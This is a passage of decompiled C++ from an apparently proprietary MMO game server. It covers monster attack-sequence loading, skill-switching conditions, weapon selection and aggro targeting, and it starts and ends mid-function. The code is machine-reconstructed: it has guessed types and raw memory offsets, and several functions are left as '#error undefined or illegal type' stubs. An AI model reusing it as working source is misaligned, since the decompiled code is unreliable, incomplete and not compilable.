[bp-108A4h]@126 OptionReader or; // [sp+188h] [bp-10864h]@16 unsigned int cookie; // [sp+109DCh] [bp-10h]@22 int v112; // [sp+109E8h] [bp-4h]@16 v1 = 0; thisa = this; v2 = mobdatabox.mdb_mobspacies; for ( pnt = 0; ; v1 = pnt ) { if ( v1 < v2 ) v3 = BinaryDataBox::operator__(&mobdatabox.mdb_BinData.mobinf, v1)->ID; else v3 = 65535; v4 = (unsigned __int16)v3; mob = v3; if ( (unsigned __int16)v3 <= mobdatabox.mdb_maxmobhandle ) { v5 = &mobdatabox.mdb_index[(unsigned __int16)v3]; if ( v5 ) { if ( v5->data ) { v6 = v5->data->ID; if ( v6 == (_WORD)mob ) goto LABEL_12; AssertClass::ac_AssertFail(&shineassert, "MobDataBox::operator [] :Invalid mob index", v4, v6); } } } v5 = 0; LABEL_12: if ( v5 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "MobAttackSequence::mas_Load : Null inf", v4); ShineExit("MobAttackSequence::mas_Load"); } v71 = (int)v5->data->InxName; sprintf(buffer, "../9Data/Shine/MobAttackSequence/%s.txt"); v7 = fopen(buffer, "r"); if ( v7 ) { fclose(v7); OptionReader::OptionReader(&or); v112 = 0; if ( OptionReader::or_Read(&or, buffer) ) { v10 = mob; v11 = thisa; MobAttackSequence::mas_Append(thisa, mob); v12 = MobAttackSequence::mas_Find(v11, v10); if ( v12 == 0 ) { v71 = v11->mas_MobNumber; AssertClass::ac_AssertFail(&shineassert, "MobAttackSequence::mas_Load : Insert error", v71); ShineExit("MagicContainer::mas_Load"); } for ( rec = 0; ; rec = v20 + 1 ) { v71 = (int)&type; v70 = 0; v69 = rec; v68 = "Order"; sc = (MobAttackSequence::SkillChange *)&v63; v67 = 0; v66 = 0; v65 = 0; v64 = 0; *(_DWORD *)&v63.ort_Name[0] = 0; strncpy(v63.ort_Name, "AttSeq", 0x14u); v13 = OptionReader::or_Select(&or, "Attack", v63, v68, v69, v70, (int *)v71); v14 = (const char *)v13; if ( !v13 ) break; v15 = *(_BYTE *)v13; if ( *v14 == 45 ) { v16 = -1; } else { if ( v15 == 42 ) { v17 = (char *)(v14 + 1); v16 = -1; strncmp(v17, "RepeatStart", 0x20u); if ( v18 ) AssertClass::ac_AssertFail(&shineassert, "MobAttackSequence::mas_Load : Invalid Command", v17); else v12->ae4m_StartIndex = rec + 1; } else { v19 = BTree::operator__(&skillnametree, v14); v16 = v19; if ( v19 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "MobAttackSequence::mas_Load : Null skill", v14); ShineExit("MagicContainer::mas_Load"); } } } v20 = rec; v12->ae4m_skillID[v12->ae4m_SequenceLength++] = v16; } rec = 0; while ( 1 ) { v71 = rec; sc = (MobAttackSequence::SkillChange *)&v66; v70 = 0; v69 = 0; v68 = 0; v67 = 0; v66 = 0; strncpy((char *)&v66, "SkillChange", 0x14u); skillname = OptionReader::or_SelectFromOrder(&or, *(ORToken *)&v66, v71); if ( !skillname ) break; v21 = mob; v22 = MobAttackSequence::mas_Find(thisa, mob); if ( v22 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "MobAttackSequence::mas_Load : SkillExchange Error", v21); ShineExit("MagicContainer::mas_Load"); } v23 = *(_DWORD *)skillname; v24 = *((_DWORD *)skillname + 1); v25 = *((_DWORD *)skillname + 3); v26 = *((_DWORD *)skillname + 4); v104 = *((_DWORD *)skillname + 2); v105 = v25; v106 = v26; v82 = 0; v81 = 0; v80 = 0; v79 = 0; *(_DWORD *)v78 = 0; strncpy(v78, "OutOfRange", 0x14u); if ( v23 != *(_DWORD *)v78 || v24 != v79 || (HIWORD(v27) = HIWORD(v104), v104 != v80) || v105 != v81 || v106 != v82 ) { v97 = 0; v96 = 0; v95 = 0; v94 = 0; *(_DWORD *)v93 = 0; strncpy(v93, "HPLow", 0x14u); if ( v23 != *(_DWORD *)v93 || v24 != v94 || (HIWORD(v35) = HIWORD(v104), v104 != v95) || v105 != v96 || v106 != v97 ) { v102 = 0; v101 = 0; v100 = 0; v99 = 0; *(_DWORD *)v98 = 0; strncpy(v98, "TargetState", 0x14u); if ( v23 != *(_DWORD *)v98 || v24 != v99 || (HIWORD(v43) = HIWORD(v104), v104 != v100) || v105 != v101 || v106 != v102 ) { v92 = 0; v91 = 0; v90 = 0; v89 = 0; *(_DWORD *)v88 = 0; strncpy(v88, "NextSkill", 0x14u); if ( v23 != *(_DWORD *)v88 || v24 != v89 || (HIWORD(v54) = HIWORD(v104), v104 != v90) || v105 != v91 || v106 != v92 ) { v62 = ORToken::ort_GetString((ORToken *)skillname, &v109); AssertClass::ac_AssertFail(&shineassert, "MobAttackSequence::mas_Load : Invalid condition", v62); ShineExit("MobAttackSequence::mas_Load"); } if ( !v22->ae4m_SaveNextSkill ) { v55 = operator new(0x38u); sc = (MobAttackSequence::SkillChange *)v55; LOBYTE(v112) = 4; if ( v55 ) MobAttackSequence::SkillChangeList::SkillChangeList(v54); else v54 = 0; LOBYTE(v112) = 0; v22->ae4m_SaveNextSkill = v54; } v56 = v22->ae4m_SaveNextSkill; LOWORD(v54) = v56->baseclass_0.l_Finger.empty; if ( (_WORD)v54 == -1 ) { v57 = 0; } else { v58 = v56->baseclass_0.vfptr; v71 = (int)v54; v57 = (MobAttackSequence::SkillChange *)((int (__stdcall *)(MobAttackSequence::SkillChangeList *))v58->l_AllocZ)(v54); } if ( v57 == 0 ) { AssertClass::ac_AssertFail( &shineassert, "MobAttackSequence::mas_Load : ExchangeSkill too many", (unsigned __int16)mob); ShineExit("MobAttackSequence::mas_Load"); } v59 = skillname; v60 = ORToken::ort_GetString((ORToken *)skillname + 1, buf); v61 = atoi(v60); MobAttackSequence::SkillChange::sc_Store(v57, (char *)v59 + 40, (char *)v59 + 73, v61); ++rec; } else { if ( !v22->ae4m_TargetState ) { v44 = operator new(0x38u); sc = (MobAttackSequence::SkillChange *)v44; LOBYTE(v112) = 3; if ( v44 ) MobAttackSequence::SkillChangeList::SkillChangeList(v43); else v43 = 0; LOBYTE(v112) = 0; v22->ae4m_TargetState = v43; } v45 = v22->ae4m_TargetState; LOWORD(v43) = v45->baseclass_0.l_Finger.empty; if ( (_WORD)v43 == -1 ) { sc = 0; } else { v46 = v45->baseclass_0.vfptr; v71 = (int)v43; sc = (MobAttackSequence::SkillChange *)((int (__stdcall *)(MobAttackSequence::SkillChangeList *))v46->l_AllocZ)(v43); } v47 = mob; if ( sc == 0 ) { AssertClass::ac_AssertFail( &shineassert, "MobAttackSequence::mas_Load : ExchangeSkill too many", (unsigned __int16)mob); ShineExit("MobAttackSequence::mas_Load"); } v48 = skillname; v49 = (char *)skillname + 20; v50 = ORToken::ort_IsNull((ORToken *)skillname + 1); skillname = (void *)(v50 == 0); if ( v50 ) { AssertClass::ac_AssertFail(&shineassert, "MobAttackSequence::mas_Load : Invalid ABState", v47); ShineExit("MobAttackSequence::mas_Load"); } v87 = 0; v86 = 0; v85 = 0; v84 = 0; *(_DWORD *)v83 = 0; strncpy(v83, (const char *)&stru_598DE4.maa_TargetSelect.targetlist.mam_Array[9].mts_LastHit, 0x14u); if ( *(_DWORD *)v49 != *(_DWORD *)v83 || *((_DWORD *)v49 + 1) != v84 || *((_DWORD *)v49 + 2) != v85 || *((_DWORD *)v49 + 3) != v86 || *((_DWORD *)v49 + 4) != v87 ) { v51 = ORToken::ort_GetString((ORToken *)v49, buf); v52 = BTree::operator__(&unk_608624, v51); if ( v52 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "MobAttackSequence::mas_Load : Invalid ABState", v47); ShineExit("MobAttackSequence::mas_Load"); } v53 = AbnormalStateDictionary::AbState::as_FromID(&dic_abstate, v52); if ( v53 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "MobAttackSequence::mas_Load : Invalid ABState", v47); ShineExit("MobAttackSequence::mas_Load"); } v71 = v53->index->AbStataIndex; MobAttackSequence::SkillChange::sc_Store(sc, (char *)v48 + 40, (char *)v48 + 73, v71); ++rec; } else { MobAttackSequence::SkillChange::sc_Store(sc, (char *)v48 + 40, (char *)v48 + 73, 0xFFFFu); ++rec; } } } else { if ( !v22->ae4m_HPLow ) { v36 = operator new(0x38u); sc = (MobAttackSequence::SkillChange *)v36; LOBYTE(v112) = 2; if ( v36 ) MobAttackSequence::SkillChangeList::SkillChangeList(v35); else v35 = 0; LOBYTE(v112) = 0; v22->ae4m_HPLow = v35; } v37 = v22->ae4m_HPLow; LOWORD(v35) = v37->baseclass_0.l_Finger.empty; if ( (_WORD)v35 == -1 ) { v38 = 0; } else { v39 = v37->baseclass_0.vfptr; v71 = (int)v35; v38 = (MobAttackSequence::SkillChange *)((int (__stdcall *)(MobAttackSequence::SkillChangeList *))v39->l_AllocZ)(v35); } if ( v38 == 0 ) { AssertClass::ac_AssertFail( &shineassert, "MobAttackSequence::mas_Load : ExchangeSkill too many", (unsigned __int16)mob); ShineExit("MobAttackSequence::mas_Load"); } v40 = skillname; v41 = ORToken::ort_GetString((ORToken *)skillname + 1, buf); v42 = atoi(v41); MobAttackSequence::SkillChange::sc_Store(v38, (char *)v40 + 40, (char *)v40 + 73, v42); ++rec; } } else { if ( !v22->ae4m_OutOfRange ) { v28 = operator new(0x38u); sc = (MobAttackSequence::SkillChange *)v28; LOBYTE(v112) = 1; if ( v28 ) MobAttackSequence::SkillChangeList::SkillChangeList(v27); else v27 = 0; LOBYTE(v112) = 0; v22->ae4m_OutOfRange = v27; } v29 = v22->ae4m_OutOfRange; LOWORD(v27) = v29->baseclass_0.l_Finger.empty; if ( (_WORD)v27 == -1 ) { v30 = 0; } else { v31 = v29->baseclass_0.vfptr; v71 = (int)v27; v30 = (MobAttackSequence::SkillChange *)((int (__stdcall *)(MobAttackSequence::SkillChangeList *))v31->l_AllocZ)(v27); } if ( v30 == 0 ) { AssertClass::ac_AssertFail( &shineassert, "MobAttackSequence::mas_Load : ExchangeSkill too many", (unsigned __int16)mob); ShineExit("MobAttackSequence::mas_Load"); } v32 = skillname; v33 = ORToken::ort_GetString((ORToken *)skillname + 1, buf); v34 = atoi(v33); MobAttackSequence::SkillChange::sc_Store(v30, (char *)v32 + 40, (char *)v32 + 73, v34); ++rec; } } } else { v8 = OptionReader::or_ErrorLine(&or); sc = (MobAttackSequence::SkillChange *)(v8 == 0); if ( v8 != 0 ) { AssertClass::ac_AssertFail(&shineassert, "MobAttackSequence::mas_Load : Option read error", buffer); v9 = OptionReader::or_ErrorLine(&or); AssertClass::ac_AssertFail(&shineassert, "MobAttackSequence::mas_Load", v9); ShineExit("MagicContainer::mas_Load"); } } v112 = -1; OptionReader::_OptionReader(&or); } v2 = mobdatabox.mdb_mobspacies; ++pnt; if ( pnt >= mobdatabox.mdb_mobspacies ) break; } __security_check_cookie(cookie); } //----- (00479A90) -------------------------------------------------------- void __thiscall FieldMap::fm_FindWayInit(int this) { CFindWay::SetLoadedData( &findway, *(_DWORD *)(*(_DWORD *)(this + 20) + 28), *(_DWORD *)(*(_DWORD *)(this + 20) + 32), *(char **)(*(_DWORD *)(this + 20) + 20)); } //----- (00479AB0) -------------------------------------------------------- void __thiscall MobActionElement::MobActionElement(MobActionElement *this) { this->vfptr = (MobActionElementVtbl *)&MobActionElement::_vftable_; } // 5AC25C: using guessed type int (__thiscall *MobActionElement___vftable_)(void *p, char); //----- (00479AC0) -------------------------------------------------------- void __thiscall MobActionElement::_MobActionElement(MobActionElement *this) { this->vfptr = (MobActionElementVtbl *)&MobActionElement::_vftable_; } // 5AC25C: using guessed type int (__thiscall *MobActionElement___vftable_)(void *p, char); //----- (00479AD0) -------------------------------------------------------- void __thiscall MobTargetStruct::MobTargetStruct(MobTargetStruct *this) { SpyNet::IntelligenceOffice4Mob::IntelligenceOffice4Mob(&this->mts_EnemyAnalyzer); } //----- (00479AE0) -------------------------------------------------------- void __thiscall MobTargetEraser::_MobTargetEraser(MobTargetEraser *this) { SpyNet::IntelligenceOffice4Mob::_IntelligenceOffice4Mob(&this->mte_EmptyTarget.mts_EnemyAnalyzer); } //----- (00479AF0) -------------------------------------------------------- #error "479AF0: undefined or illegal type '#331' (funcsize=13)" //----- (00479B20) -------------------------------------------------------- void __thiscall MobTargetSelector::MobTargetSelector(MobTargetSelector *this) { MobTargetSelector *v1; // esi@1 v1 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v1->baseclass_0.vfptr = (AxialListIteratorVtbl *)&MobTargetSelector::_vftable_; } // 5AC270: using guessed type int (__stdcall *MobTargetSelector___vftable_)(int type, int slot, int distancesquar); //----- (00479B40) -------------------------------------------------------- void __thiscall MobTargetSelector::_MobTargetSelector(MobTargetSelector *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&MobTargetSelector::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5AC270: using guessed type int (__stdcall *MobTargetSelector___vftable_)(int type, int slot, int distancesquar); //----- (00479B50) -------------------------------------------------------- char __thiscall MobTargetAggresive::IsIgnoreLevelGap(MobTargetAggresive *this, char Left, char Right) { return (unsigned __int8)Left - (unsigned __int8)Right > 10; } //----- (00479B70) -------------------------------------------------------- #error "479B70: undefined or illegal type '#331' (funcsize=19)" //----- (00479BB0) -------------------------------------------------------- #error "479BB0: undefined or illegal type '#331' (funcsize=45)" //----- (00479C30) -------------------------------------------------------- char __thiscall ShineObjectClass::ShinePlayer::sp_IsPreventAttack(int this) { return *(_BYTE *)(this + 92270); } //----- (00479C40) -------------------------------------------------------- #error "479C40: undefined or illegal type '#331' (funcsize=7)" //----- (00479C60) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_CurSelectWeapon(int this) { return *(_DWORD *)(this + 7600); } //----- (00479C70) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::so_mob_SelectWeapon(#331 *this, #331 *a2, char next) { return -1; } //----- (00479C80) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::sm_PrepareWeapon(int this, int MaxWC, int MinWC, unsigned __int16 TH, int MaxMA, int MinMA, unsigned __int16 MH) { int result; // eax@1 *(_DWORD *)(this + 4228) = MaxWC; *(_DWORD *)(this + 4224) = MinWC; *(_DWORD *)(this + 4248) = MaxMA; *(_DWORD *)(this + 4236) = TH; result = MinMA; *(_DWORD *)(this + 4244) = MinMA; *(_DWORD *)(this + 4256) = MH; return result; } //----- (00479CD0) -------------------------------------------------------- void *__thiscall MobActionElement::_vector_deleting_destructor_(MobActionElement *this, unsigned int a2) { void *v2; // esi@1 v2 = this; this->vfptr = (MobActionElementVtbl *)&MobActionElement::_vftable_; if ( a2 & 1 ) operator delete(this); return v2; } // 5AC25C: using guessed type int (__thiscall *MobActionElement___vftable_)(void *p, char); //----- (00479CF0) -------------------------------------------------------- void *__thiscall MobTargetSelector::_scalar_deleting_destructor_(MobTargetSelector *this, unsigned int a2) { void *v2; // esi@1 v2 = this; MobTargetSelector::_MobTargetSelector(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (00479D10) -------------------------------------------------------- #error "479D10: undefined or illegal type '#331' (funcsize=144)" //----- (00479EF0) -------------------------------------------------------- #error "479EF0: undefined or illegal type '#331' (funcsize=23)" //----- (00479F30) -------------------------------------------------------- MobActionElement *__thiscall MobActionElement::mae_Action(MobActionElement *this, unsigned __int16 hnd, MobBrainStruct *mob) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobActionElement::mae_Action"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobActionElement::mae_Action"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobActionElement::mae_Action"); return &ShineObjectClass::ShineMob::defaction; } // 479F30: inconsistent function type and number of purged bytes //----- (00479F80) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::sm_UseWeapon(void *this, int a2) { int v2; // esi@1 int v3; // edx@1 int v4; // edi@3 int v5; // eax@3 unsigned __int16 v6; // bx@3 int v7; // ST20_4@3 int v8; // ST1C_4@3 unsigned __int16 v9; // ST18_2@3 int v10; // ebp@3 int v11; // edi@5 int v12; // ecx@11 int v13; // eax@14 char *v14; // [sp-4h] [bp-28h]@2 v2 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_UseWeapon"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::sm_UseWeapon"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)(v2 + 7600); if ( v3 >= 0 ) { v4 = *(_DWORD *)(v2 + 7576); *(_BYTE *)(v2 + 7416) &= 0xFDu; v5 = *(_DWORD *)(12 * v3 + *(_DWORD *)(v4 + 8)); v6 = *(_WORD *)(v5 + 103); v7 = *(_DWORD *)(v5 + 95); v8 = *(_DWORD *)(v5 + 99); v9 = *(_WORD *)(v5 + 93); v10 = *(_DWORD *)(v5 + 85); *(_DWORD *)(v2 + 4228) = *(_DWORD *)(v5 + 89); *(_DWORD *)(v2 + 4236) = v9; *(_DWORD *)(v2 + 4248) = v8; *(_DWORD *)(v2 + 4244) = v7; *(_DWORD *)(v2 + 4224) = v10; *(_DWORD *)(v2 + 4256) = v6; if ( !v3 ) { ShineObjectClass::ShineMobileObject::smo_SwingStart((void *)v2, a2); MobChat::MobChatManager::mcm_AttackChat(&mobchatman); LABEL_14: v13 = (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 1304))(v2); List::l_4AllInList( (List *)(v13 + 3480), AbnormalStateContainer::AbstateElementInObject::aeo_Attack); goto LABEL_15; } v11 = (int)SkillDataBox::operator__(&skilldatabox, *(_WORD *)(*(_DWORD *)(v4 + 8) + 12 * v3 + 4)); if ( v11 != 0 ) { if ( (unsigned int)(*(int (__thiscall **)(int))(*(_DWORD *)v2 + 1240))(v2) >= *(_DWORD *)(*(_DWORD *)(v11 + 4) + 160) ) { if ( *(_BYTE *)(v11 + 256) ) *(_BYTE *)(v2 + 7416) |= 2u; v12 = v2; if ( *(_DWORD *)(*(_DWORD *)(v11 + 4) + 172) != 1 ) v12 = a2; ShineObjectClass::ShineMobileObject::smo_SkillBash_Casting( (void *)v2, v11, v12, 0, *(_WORD *)(*(_DWORD *)(*(_DWORD *)(*(_DWORD *)(v2 + 7576) + 8) + 12 * *(_DWORD *)(v2 + 7600)) + 75)); goto LABEL_14; } AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineMob::sm_UseWeapon : Minus sp", 0); } else { AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineMob::sm_UseWeapon : Null skill", 0); } LABEL_15: v14 = "ShineObjectClass::ShineMob::sm_UseWeapon"; goto LABEL_16; } v14 = "ShineObjectClass::ShineMob::sm_UseWeapon"; LABEL_16: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v14); } //----- (0047A180) -------------------------------------------------------- int __thiscall MobTargetStruct::operator_(int this, int a2) { int result; // eax@1 result = this; *(_WORD *)this = *(_WORD *)a2; *(_DWORD *)(this + 4) = *(_DWORD *)(a2 + 4); *(_DWORD *)(this + 8) = *(_DWORD *)(a2 + 8); *(_DWORD *)(this + 12) = *(_DWORD *)(a2 + 12); *(_DWORD *)(this + 16) = *(_DWORD *)(a2 + 16); *(_DWORD *)(this + 24) = *(_DWORD *)(a2 + 24); *(_DWORD *)(this + 28) = *(_DWORD *)(a2 + 28); return result; } //----- (0047A1C0) -------------------------------------------------------- #error "47A1C0: undefined or illegal type '#331' (funcsize=154)" //----- (0047A380) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::sm_GetUseWeaponRate(int this, unsigned int nIndex) { int v2; // esi@1 int result; // eax@3 int v4; // ecx@4 v2 = *(_DWORD *)(this + 8880); if ( v2 && (*(_DWORD *)(this + 8884) - v2) >> 1 > nIndex ) { result = *(_WORD *)(v2 + 2 * nIndex); } else { v4 = *(_DWORD *)(this + 7576); if ( *(_DWORD *)(v4 + 12) <= (signed int)nIndex ) result = 0; else result = *(_WORD *)(*(_DWORD *)(*(_DWORD *)(v4 + 8) + 12 * nIndex) + 71); } return result; } //----- (0047A3D0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_SelectWeapon(#331 *this, char a2) { int v2; // esi@1 int v3; // ebp@1 MobAttackSequence::AttackElement4Mob *v5; // ecx@3 int *v6; // eax@4 int v7; // edi@6 int v8; // esi@8 int v9; // edi@9 int v10; // ebx@10 int v11; // eax@11 SkillDataBox::SkillDataIndex *v12; // ebp@12 int v13; // ebp@15 int tmp; // [sp+10h] [bp-18h]@4 FunctionEntarance _; // [sp+14h] [bp-14h]@1 unsigned int v16; // [sp+18h] [bp-10h]@6 int v17; // [sp+24h] [bp-4h]@1 char next; // [sp+30h] [bp+8h]@0 float nexta; // [sp+30h] [bp+8h]@6 v2 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShineMob::so_mob_SelectWeapon"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_SelectWeapon"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_mob_SelectWeapon"; v3 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v17 = 0; if ( ShineObjectClass::ShineMobileObject::smo_SkillBlastOption((void *)v2) == 2 ) { *(_DWORD *)(v2 + 7600) = 0; --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_SelectWeapon"); return 0; } v5 = *(MobAttackSequence::AttackElement4Mob **)(v2 + 7604); if ( !v5 ) { v9 = *(_DWORD *)(*(_DWORD *)(v2 + 7576) + 12) - 1; if ( v9 < 0 ) { LABEL_18: *(_DWORD *)(v2 + 7600) = v3; --funcallanalizer.fca_stackpoint; v17 = v3; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_SelectWeapon"); return v3; } v10 = 12 * v9; while ( 1 ) { v11 = *(_DWORD *)(*(_DWORD *)(v2 + 7576) + 8) + v10; if ( *(_DWORD *)v11 ) { v12 = SkillDataBox::operator__(&skilldatabox, *(_WORD *)(v11 + 4)); if ( !v12 || (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 1240))(v2) >= v12->sdi_Activ->SP ) { if ( *(_DWORD *)(*(_DWORD *)(v2 + 7588) + 4 * v9) <= clockwatch.cw_CurrTick ) { v13 = RandomBox::rb_1000(&rndbox); if ( v13 <= ShineObjectClass::ShineMob::sm_GetUseWeaponRate(v2, v9) ) { *(_DWORD *)(v2 + 7600) = v9; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_SelectWeapon"); return v9; } } } v3 = -1; } --v9; v10 -= 12; if ( v9 < 0 ) goto LABEL_18; } } v6 = (int *)(v2 + 7608); tmp = *(_DWORD *)(v2 + 7608); if ( !next ) v6 = &tmp; v7 = a2; *(_DWORD *)(v2 + 7600) = MobAttackSequence::AttackElement4Mob::ae4m_NextSkill(v5, (#331 *)v2, v6, next); *(float *)&a2 = (double)(unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v2, a2); nexta = (double)(unsigned int)(*(int (__thiscall **)(int, int))(*(_DWORD *)v2 + 1276))(v2, v7); v16 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v2 + 1276))(v2, v7); if ( (double)v16 * nexta * 1.2 < *(float *)&a2 ) ShineObjectClass::ShineMob::sm_SkillExchange_OutOfRange((void *)v2); v8 = *(_DWORD *)(v2 + 7600); --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_SelectWeapon"); return v8; } // 47A3D0: inconsistent function type and number of purged bytes //----- (0047A660) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::so_mob_SightCenter(int this, int sight, int buffer) { return *(_DWORD *)(this + 78); } //----- (0047A670) -------------------------------------------------------- SHINE_XY_TYPE *__thiscall ShineObjectClass::ShineMob::so_mob_SightCenter(int this, int sight, int buffer) { int v3; // edx@1 v3 = *(_DWORD *)(this + 78); *(_DWORD *)buffer = *(_DWORD *)v3; *(_DWORD *)(buffer + 4) = *(_DWORD *)(v3 + 4); return DirectDistanceTable::ddt_GetFoward(&ddt, **(_BYTE **)(this + 82), 205 * sight / 512, (SHINE_XY_TYPE *)buffer); } //----- (0047A6B0) -------------------------------------------------------- #error "47A6B0: undefined or illegal type '#331' (funcsize=3)" //----- (0047A6C0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_TargetChange(int this) { int v1; // esi@1 int result; // eax@1 v1 = this; result = (*(int (__stdcall **)(int))(**(_DWORD **)(this + 8412) + 16))(this + 7624); *(_DWORD *)(v1 + 8412) = result; return result; } //----- (0047A6E0) -------------------------------------------------------- void __thiscall AxialListNearFriend::_AxialListNearFriend(AxialListNearFriend *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListNearFriend::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5AC3F4: using guessed type int (__stdcall *AxialListNearFriend___vftable_[2])(int, int, int distancesquar); //----- (0047A6F0) -------------------------------------------------------- void __thiscall AxialListNPCTargetFind::_AxialListNPCTargetFind(AxialListNPCTargetFind *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNPCTargetFind::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)this); } // 5AC3F8: using guessed type int (__stdcall *AxialListNPCTargetFind___vftable_)(int, int, int distancesquar); //----- (0047A700) -------------------------------------------------------- #error "47A700: undefined or illegal type '#331' (funcsize=30)" //----- (0047A760) -------------------------------------------------------- #error "47A760: undefined or illegal type '#331' (funcsize=9)" //----- (0047A780) -------------------------------------------------------- #error "47A780: undefined or illegal type '#331' (funcsize=9)" //----- (0047A7A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_mob_ReturnToRegen(int this) { *(_DWORD *)(this + 8412) = &MobTacticElement::MobActionArgument::Actor::toregion; } //----- (0047A7B0) -------------------------------------------------------- #error "47A7B0: undefined or illegal type '#331' (funcsize=37)" //----- (0047A860) -------------------------------------------------------- MobTargetSelector *__thiscall MobTargetBout::mts_Initialize(MobTargetBout *this, #331 *a2, MobAggroManager *lst) { this->mtb_targetlist = lst; return MobTargetSelector::mts_Initialize(&this->baseclass_0, a2, lst); } //----- (0047A870) -------------------------------------------------------- #error "47A870: undefined or illegal type '#331' (funcsize=49)" //----- (0047A940) -------------------------------------------------------- #error "47A940: undefined or illegal type '#331' (funcsize=47)" //----- (0047AA10) -------------------------------------------------------- void __thiscall MobTargetNoBrain::mts_SelectTarget(MobTargetNoBrain *this, #331 *mob) { MobTargetNoBrain *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobTargetNoBrain::mt_SelectTarget"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobTargetNoBrain::mt_SelectTarget"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ((void (__thiscall *)(_DWORD))v2->baseclass_0.baseclass_0.baseclass_0.vfptr[8].ali_Work)(v2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobTargetNoBrain::mt_SelectTarget"); } //----- (0047AAB0) -------------------------------------------------------- #error "47AAB0: undefined or illegal type '#331' (funcsize=33)" //----- (0047AB50) -------------------------------------------------------- void __thiscall MobTarget_AggroClear::_MobTarget_AggroClear(MobTarget_AggroClear *this) { MobTarget_AggroClear *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&MobTarget_AggroClear::_vftable_; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobTarget_AggroClear::~MobTarget_AggroClear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobTarget_AggroClear::~MobTarget_AggroClear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobTarget_AggroClear::~MobTarget_AggroClear"); v1->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; } // 5AC48C: using guessed type int (__stdcall *MobTarget_AggroClear___vftable_)(int ele, __int16 handle); // 5D4CA8: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (0047ABD0) -------------------------------------------------------- #error "47ABD0: undefined or illegal type '#331' (funcsize=68)" //----- (0047ACE0) -------------------------------------------------------- void __thiscall MobTargetBout::mts_DecreaseAggroPoint(MobTargetBout *this, #331 *a2, int aggroclearrate) { MobTargetBout *v3; // esi@1 List *v4; // ecx@1 MobTarget_AggroClear mtac; // [sp+8h] [bp-18h]@1 int v6; // [sp+1Ch] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobTargetBout::mts_DecreaseAggroPoint"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobTargetBout::mts_DecreaseAggroPoint"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = 0; MobTarget_AggroClear::MobTarget_AggroClear(&mtac, a2, aggroclearrate); v4 = (List 